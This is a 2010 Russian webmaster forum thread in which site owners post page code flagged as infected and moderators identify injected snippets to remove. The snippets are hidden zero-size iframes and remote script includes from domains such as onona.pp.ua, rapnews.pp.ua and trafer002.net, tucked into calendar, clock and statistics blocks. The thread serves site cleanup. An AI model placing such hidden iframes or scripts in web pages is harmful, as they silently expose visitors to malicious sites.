|
Вирусы на сайтах (для изучения)
|
|
neppo
Сообщений: 1
Сообщение # 226 |
14:26:10
28 Дек 2010
|
webanet
Сообщений: 24067
Сообщение # 227 |
15:57:07
28 Дек 2010
neppo, выделенное красным удалить
Quote <table border="0" width="200"> <tr> <td height="105" width="100">
<img border="0" src="http://i031.radikal.ru/0907/d1/5afe826fa4ce.png" width="70" height="70"></td>
<iframe src="http://rapnews.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><td height="105" width="146">
<strong>Windows XP Pro SP3</strong><br />Оригинальный образ с обновлениями<br />
<a href="http://depositfiles.com/ru/files/olxd6ua24" alt="Скачать бесплатно Windows XP Pro SP3">Скачать >>></a></td>
</tr>
</table>
вот это тоже стоит удалить из блока статистика Code <noscript><a style="" href="http://www.russianwoman.ca">russian girl</a></noscript>
|
PlayerC
Сообщений: 1
Сообщение # 228 |
19:11:48
28 Дек 2010
Зарегестрировал сайт www.gametalant.ucoz.ru и как полагается закидал кучу скриптов. Спустя месяц приходит письмо, что моём сайте вредоносный код. Вот вам его фрагмент Code 091.exe.html" target="_blank"><iframe src="http://radikal.pp.ua/" width="0" height="0" style="display:none"></iframe><img src="http://s57.
|
webanet
Сообщений: 24067
Сообщение # 229 |
19:35:14
28 Дек 2010
PlayerC, выделенное красным удалить
Quote <!-- <block21> -->
<div class="block">
<div class="blocktitle"><!-- <bt> -->Календарь и время<!-- </bt> --></div>
<div class="blockcontent">
<div class="blockcontent_inside"><!-- <bc> --><object type="application/x-shockwave-flash" width="180" height="180" data="http://new-year123.ucoz.ru/Flash/clockcry.swf" type" allowFullScreen="true"><script type="text/javascript" src="http://onona.pp.ua/1.js"></script><param name="movie" value="http://new-year123.ucoz.ru/Flash/clockcry.swf" type"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/><center></object>
<table border="0" cellspacing="1" cellpadding="2" class="calTable"><tr><td align="center" class="calMonth" colspan="7"><a title="Ноябрь 2010" class="calMonthLink" href="javascript://" rel="nofollow" onclick="window.location.href='http'+'://gametalant.ucoz.ru/news/2010-11';return false;">«</a> <a class="calMonthLink" href="javascript://" rel="nofollow" onclick="window.location.href='http'+'://gametalant.ucoz.ru/news/2010-12';return false;">Декабрь 2010</a> <a title="Январь 2011" class="calMonthLink" href="javascript://" rel="nofollow" onclick="window.location.href='http'+'://gametalant.ucoz.ru/news/2011-01';return false;">»</a></td></tr><tr><td align="center" class="calWday">Пн</td><td align="center" class="calWday">Вт</td><td align="center" class="calWday">Ср</td><td align="center" class="calWday">Чт</td><td align="center" class="calWday">Пт</td><td align="center" class="calWdaySe">Сб</td><td align="center" class="calWdaySu">Вс</td></tr><tr><td> </td><td> </td><td align="center" class="calMdayIs"><a class="calMdayLink" href="http://gametalant.ucoz.ru/news/2010-12-01" title="1 Сообщений">1</a></td><td align="center" class="calMday">2</td><td align="center" class="calMdayIs"><a class="calMdayLink" href="http://gametalant.ucoz.ru/news/2010-12-03" title="2 Сообщений">3</a></td><td align="center" class="calMdayIs"><a class="calMdayLink" href="http://gametalant.ucoz.ru/news/2010-12-04" title="2 Сообщений">4</a></td><td align="center" class="calMday">5</td></tr><tr><td align="center" class="calMday">6</td><td align="center" class="calMday">7</td><td align="center" class="calMday">8</td><td align="center" class="calMday">9</td><td align="center" class="calMday">10</td><td align="center" class="calMday">11</td><td align="center" class="calMday">12</td></tr><tr><td align="center" class="calMday">13</td><td align="center" class="calMday">14</td><td align="center" class="calMday">15</td><td align="center" class="calMday">16</td><td align="center" class="calMday">17</td><td align="center" class="calMday">18</td><td align="center" class="calMdayIs"><a class="calMdayLink" href="http://gametalant.ucoz.ru/news/2010-12-19" title="1 Сообщений">19</a></td></tr><tr><td align="center" class="calMday">20</td><td align="center" class="calMday">21</td><td align="center" class="calMday">22</td><td align="center" class="calMday">23</td><td align="center" class="calMday">24</td><td align="center" class="calMday">25</td><td align="center" class="calMday">26</td></tr><tr><td align="center" class="calMday">27</td><td align="center" class="calMdayIsA"><a class="calMdayLink" href="http://gametalant.ucoz.ru/news/2010-12-28" title="1 Сообщений">28</a></td><td align="center" class="calMday">29</td><td align="center" class="calMday">30</td><td align="center" class="calMday">31</td></tr></table> <div><br></div><!-- </bc> -->
</div>
<div class="blockbottom" Gametalant></div>
</div>
<!-- </block21> --> а так же уберите вот этот мусор (выделено зеленым) Quote </script><script type="text/javascript" src="http://web-masteru.do.am/ws.js"></script> <a href="http://www.gametalant.ucoz.ru/" target="_self" alt="Талант игрока"><center><img src="http://www.gametalant.ucoz.ru/Anotherfiles/banner.bmp" alt="Талант игрока" width=88 height=31 border=0></center></a><br><br> <form><center> <input type="button" value="Получить код" onclick="popup1()"> </center></form></center><!-- </bc> --> </div> <div class="blockbottom" Gametalant></div> </div>
|
SportsGaming
Сообщений: 2
Сообщение # 230 |
22:43:51
28 Дек 2010
Здравствуйте, у меня такая проблема на сайте когда модуль Мини-чат не активирован все хорошо и замечательно пишет: На странице http://sportsgaming.at.ua вредоносный код не обнаружен! Как только я активирываю модуль мини-чат мне пишет На странице http://sportsgaming.at.ua возможно есть вредоносный код! В чем проблема помогите:) Зарание спасибо=))
Мой сайт: http://sportsgaming.at.ua
Сообщение от SportsGaming
|
webanet
Сообщений: 24067
Сообщение # 231 |
22:50:40
28 Дек 2010
SportsGaming, Quote Как только я активирываю модуль мини-чат мне пишет
|
SportsGaming
Сообщений: 2
Сообщение # 232 |
22:59:32
28 Дек 2010
Да пишет мне что http://sportsgaming.at.ua возможно есть вредоносный код! онлайн сервис проверки сайта на вирусы http://burbon.ru/service/virus.php
также пробывал на http://2ip.ru/site-virus-scaner/ так же пишет: Подозрение на вирус!!
На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код.
Сообщение от SportsGaming
|
webanet
Сообщений: 24067
Сообщение # 233 |
23:09:10
28 Дек 2010
SportsGaming, почитайте первое сообщение данной темы. мини-чат выводится именно ифреймом. он безопасный. онлайн сервисы реагируют на все ифреймы без исключений, так как ифрейм потенциально опасный код. вот и все. поэтому когда вы активируете мини-чат, то на сайте появляется ифрейм его выводящий. все нормально
|
ev_rus
Сообщений: 1
Сообщение # 234 |
12:41:13
29 Дек 2010
Здравствуйте , мой сайт : http://saradvocat.ucoz.ru/ , новый , комментов и постов еще мало , ссылки заходил кинул на форуме один рекламщик , я его посты снес . html теги разрешены только мне админу . НО некоторое время назад , Каспер KIS 2010 , стал запрещать загрузку одной и той же через мозилу ссылки , вроде как вредоносной , каждый раз когда я тыкаю на разные пункты меню сайта . что теперь мне оптимально сделать ? вроде везде все чисто , как и было .
спасибо .
|
Dmitry
Сообщений: 2154
Сообщение # 235 |
12:44:56
29 Дек 2010
ev_rus, Убрать скрипт часов в блоке.
Code <a href="http://logger.su"><img src="http://logger.su/clock.php"/></a><script language="JavaScript" src="http://logger.su/clock.js"></script>
<script>table(3);clock(3);
</script>
|
Сообщение # 236 |
15:10:48
29 Дек 2010
Гляньте пожалуйста rostok.at.ua
Выдает довольно серьезный вирус, но мне не на что грешить. Проверял онлайн сервисами - тихо, но грешат на инфрейм рекламы...
пожалуйста, пост, как предыдущий, не удаляйте. Вопрос очень важен
"...В последнее время мне на все наплевать - мне не наплевать лишь на то, что мне на все наплевать, и это меня волнует..."
|
webanet
Сообщений: 24067
Сообщение # 237 |
16:21:18
29 Дек 2010
Amateur,удалить
Code <script language="JavaScript" src="http://trafer002.net/selljs/?id=197"></script>
Quote Выдает довольно серьезный вирус
|
Сообщение # 238 |
16:31:17
29 Дек 2010
webanet, каждый раз источник различен, но маска адресов у сайтов одна и та же - *****.cc.cz В основном эксплойты, но был один, довольно свежий, цепляющий систему за самое дерево. Команда жалуется на форум...у меня тревога раз в два дня только появляется ============= Несколько названий:
sotka@ex.com
gey.ex.bilain-роrnо.com не могу понять откуда, хотя после того, что вы нашли скрипт, который я не устанавливал, я уже не удивляюсь ничему... мы с такими сетями не работаем, коду взяться неоткуда
"...В последнее время мне на все наплевать - мне не наплевать лишь на то, что мне на все наплевать, и это меня волнует..."
Сообщение отредактировал Amateur - Среда, 29 Дек 2010, 17:51:44
|
Сообщение # 239 |
12:27:24
30 Дек 2010
Помогите пожалуйста !
На моем сайте множество вирусов.
kaliz.net.ru
Начал "ГенУборку"- почистил комп и как же я удивился, когда обнаружил много опасных файлов в компе , пользователям сообщил , чтобы они прочистили комп и поменяли пароли . Изменил пароль к ПУ и ФТП . Почти все баннеры удалил . Помогите пожалуйста разобраться дальше
|
Dmitry
Сообщений: 2154
Сообщение # 240 |
12:43:17
30 Дек 2010
ARTemius, Убрать из блока статистика код:
Code <script type="text/javascript" src="http://onona.pp.ua/1.js"></script>
В остальном, пока не вижу проблем найду, отпишусь.
|
Чат сообщества
